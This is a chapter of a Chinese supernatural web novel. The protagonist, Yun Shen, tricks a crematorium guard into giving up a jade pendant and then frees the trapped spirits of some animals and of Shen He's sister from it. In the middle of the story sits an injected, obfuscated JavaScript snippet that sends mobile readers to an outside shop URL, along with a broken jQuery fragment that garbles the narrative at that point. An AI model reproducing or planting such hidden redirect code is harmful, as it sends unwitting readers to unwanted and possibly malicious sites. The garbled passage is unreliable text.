云深和沈鹤下了车。

    云深向着火葬场的里面走去,大铁门是敞开的,像是平时一样迎接着来往的车辆和家属。但此刻已是傍晚,火葬场里没什么人,只有一股淡淡焚烧的气味飘散在空气中。

    两人刚刚走进大门,门卫室里便走出来一个穿着保安服的男人。

    男人看起来不算高大,三十来岁,一双吊角眼露出几分凶狠的气息,但是还是故作客气地笑着:“你好,两位是来办事的吗?这个点儿主要的业务窗口已经下班了,要是想咨询什么,明天上午再来吧。”

    云深的目光在扫过他的一瞬间顿时,他身上的血虐之气扑面而来,以至于连那连接在他身上的那条怨气都显得飘渺起来。

    看样子,这个人残害过不少的动物,而且都是虐杀而死,不然,不会有这么凶的怨气。

    云深的眉头微微皱起,紧接着,她的目光又落到了他脖子上带着的一块小玉牌上。那玉牌色泽暗沉,呈深绿色,表面隐隐流转着一层不易察觉的暗光,被一根红绳串着,挂在他的领口外面。

    而这玉牌,隐隐散发着尸气阴气煞气,似有魂魄翻腾。

    云深的表情带上了几分冷意:“我不是来办事的,我是来找你的。”

    这保安叫做肖德胜,一听到这话,顿时露出狐疑地神色:“你们找我?你们是谁啊?我不记得我认识你们啊!”

    云深面无表情地开始报起了他的生平信息:“你十岁丧母,父亲再婚,继母不慈,长大后虐杀取乐,又在火葬场工作,你担心火葬场的阴气重,又怕鬼,怕报应,后遇到了一个老道士,卖了你一个玉牌,说是能化煞档灾,我说的对还是不对?”

    肖德胜的脸色随着云深的话一点点变得难看。

    毕竟,他虐杀动物取乐的事情,都是偷偷干的,这个人怎么会知道?至于玉牌的事情,她又怎么会知道?

    自己在这人的眼里怎么好像无所遁形,被扒开了全部的皮一般。

    “你到底是谁?胡说八道……胡说八道什么啊!”肖德胜眸光闪烁,嘴硬道。

    云深看着他摇了摇头,意味深长:“真是死到临头尤不自知,算了,你这样的蠢人,死了也罢。”

    丢下这句话,云深转身便走。

    然而她没走几步,肖德胜连忙喊住了她:“等一下!你等一下!”

    云深停下脚步,但没有回头。

    肖德胜快步追了上来,脸色有些不好,声音里也带上了几分慌乱和急切:“你刚才说的话是什么意思?什么叫我死到临头!你到底知道些什么?”

    云深这才转过身,看着他,语气平淡:“你身上缠着多少条命的怨气,你自己心里没数吗?那些被你虐杀的动物,它们的怨气一直跟着你。你以为你脖子上那块玉牌能帮你挡住它们?你被骗了。”

    “这块玉牌不仅不能挡灾化煞,反而会吸收火葬场里的尸气,你戴得越久,里面的尸气就越多,而你贴身佩戴玉牌,只会反噬自己。”

    肖德胜的脸色开始发白,头上冒起了虚汗,但还是嘴硬道:“你少在这里装神弄鬼!我凭什么相信你?”

    “你难道没有觉得这玉佩越戴越阴冷,而且总是胸闷气短,心口发冷,睡觉也睡不好,像是有人压着你……”说到一半,云深顿住,摇了摇头,“罢了,我需要你相信什么呢?反正又不是我要没命了。”

    云深转身继续向外走去。

    见状,肖德胜反而彻底急了。

    他被云深说中了症状,心里头的怀疑散了大半,他连忙追来,拦在云深面前,语气已经没有了刚才的硬气,带着几分慌乱和哀求:“大师!大师你等一下!我信你!我信你还不行吗!”

    听到他这声大师喊出来,云深便知道事情成了大半,于是只是看着她,没有立刻回答。

    肖德胜搓了搓手,脸上挤出一个笑容:“大师,你说的那些症状……确实都有,这,这要如何化解呢?”

    云深道:“方法很简单,把你脖子上那块玉牌处理掉,里面的怨气散干净了,你自然就不会再被反噬。”

    肖德胜愣了一下,下意识伸手摸了摸脖子上的玉牌,脸上露出几分犹豫:“这……这是我花了五百块买的呢……就这么处理了?”

    云深没有接话,只是看着他。

    见云深不说话,肖德胜反而更加纠结了,他的脸色阴晴不定地变化着,最终挤出一副有些无赖地笑脸,搓着手凑近了一步。

    “大师,您看啊,我也知道您是好人,您既然都管了这档子事儿了,那不如好人做到底呗?我这玉牌处理了,我自己怎么办?您总得给我点什么东西傍身吧?不然我这心里头不踏实啊!”

    云深的目光幽深地看着他,没有立刻回答。

    肖德胜被她看得有些发毛,但还是硬着头皮赔着笑脸,不肯退让。

    而一边的沈鹤见他竟然这样得寸进尺,忍不住皱眉瞪了他几眼,但肖德胜假装没看见,只盯着云深等答复。

    最终,云深还是点了点头:“可以,我可以给你一枚护身符,但是作为交换,你要把玉牌给我,我还要问你几个问题,关于卖你玉牌的那个老道士,你知道多少?”

    肖德胜一听有护身符,眼睛顿时亮了起来,连忙点头:“没问题没问题!大师您问!我知道的都告诉您!”

    云深从口袋里取出一张折叠好的符纸,等接过肖德胜递来的玉牌后,才将符纸递了过去。

    肖德胜双手接过来符纸,一入手,竟然感觉到一股暖意从符纸处流到了四肢百骸,顿时察觉到原本有些阴冷沉顿的身体一松,他立马眼前一亮,知道这是好东西。

    云深等他收好符纸,才随意地问了几个问题。

    “说说那个卖你玉牌的人吧,哪里遇到的?当时发生了什么?”

    肖德胜回忆了一下,眼神闪烁地开始回答起来。

    “就是在火葬场门口遇到的。”

    “那天我下夜班,刚走出大门,他就站在路边,像是专门在等我一样。”

    “他穿着一件灰扑扑的道袍,看起来得有五六十了,瘦巴巴的。一见我,他跟我说我印堂发黑,怨灵缠身,不日便有血光之灾,然后拿出了这块玉牌,说能保我一命。我当时也是鬼迷心窍,就花五百块买了……”

    云深听完,微微点了点头

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17709817|205875||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    ,没有再问,而是转身离开。

    这次肖德胜没有再阻拦。

    云深和沈鹤重新回到了车边树荫下。

    沈鹤这才忍不住好奇开始问了起来:“大佬,您刚才演这么一出,是为什么啊?和我姐姐有关系吗?”

    云深则仔细端详了一会儿手里的玉牌,然后举着对沈鹤道:“你姐就在里面。”

    “什么?!”沈鹤大惊失色!

    云深其实在看到肖德胜的第一时间,便知道发生了什么了。

    她知道,沈鹤寻找的沈佳的魂体就在玉佩里面。

    不过,她也知道,面对肖德胜这种人,讲道理摆事实是下下策,甚至如果他知道玉佩对沈鹤很重要,那很有可能狮子大开口,所以,她才故意说了那些话,将他唬住,然后才能让他心甘情愿将玉牌交出来。

    不过,她说的也不算是假话,这玉牌确实能够吸收火葬场里的尸气阴气,若是不拿走玉牌,他会在未来被反噬而死。但她没说的是,这玉牌也能吸收鬼魂怨灵,可以防止那些被他虐杀的怨灵向他寻仇。

    至于用来换玉牌的所谓护身符,其实主要用处是化煞除阴,并不能阻挡怨灵。

    而此时,云深握住玉牌,灵炁一瞬间涌动,那玉牌在她手心中微微震颤,发出细碎的嗡鸣声。几秒后,玉牌表面浮现出一道道裂纹,像是有什么东西从内部正在冲破禁锢。

    紧接着,一道道模糊的影子从玉牌中飞了出来。

    最先出来的是十几团大大小小的阴影,那是十几只猫猫狗狗的魂魄,有的体型小巧,有的体型中等,但无一例外魂体凄惨,冒着黑气,它们从玉牌中脱困而出后,茫然地漂浮在半空中,像是还没反应过来发生了什么。

    沈鹤看得目瞪口呆,还没来得及开口,又一道更加清晰的人影从玉牌中飘了出来。

    那是一个看起来十四五岁的少女,扎着一条马尾辫,穿着白色的T恤和牛仔裤,神色灵动。她飘出来后,目光第一时间落在了沈鹤身上,愣了一下,然后露出一个灿烂笑容:“小鹤!”

    看着熟悉的身影,沈鹤的眼睛一下子就热了起来,下意识喊了一声:“姐!”

    然后他忍不住紧张道:“姐,我可算找到你了!姐你还好不?被困在里面难不难受啊?”

    “我好的很!”沈佳飘到他面前,双手叉腰,上下打量了他一番,反倒皱起了眉,“倒是你,怎么眼圈都黑了?又熬夜了?我说了多少遍了,鬼屋打烊了就早点睡,你非不听。”

    沈鹤被她这样数落,反倒忍不住笑了,还有了心思拌嘴:“那还不是怪你!你不见了害得我担心得要死!找了你两天两夜!”

    沈佳哼了一声,但眼底的笑意出卖了她。沈鹤笑够了,连忙郑重地向她介绍起云深:“姐,你还记得云深大佬吗?这次多亏她了!我才能找到你的!”

    沈佳闻言,收起了那副嬉笑的模样,认真地朝云深鞠了一躬:“多谢大佬救命之恩。要不是您,我怕是真要被那块破玉牌困死了。”

    云深摆了摆手,示意不必多礼。

    然后沈鹤忍不住问道:“姐!你怎么会被困在那个玉牌里啊?”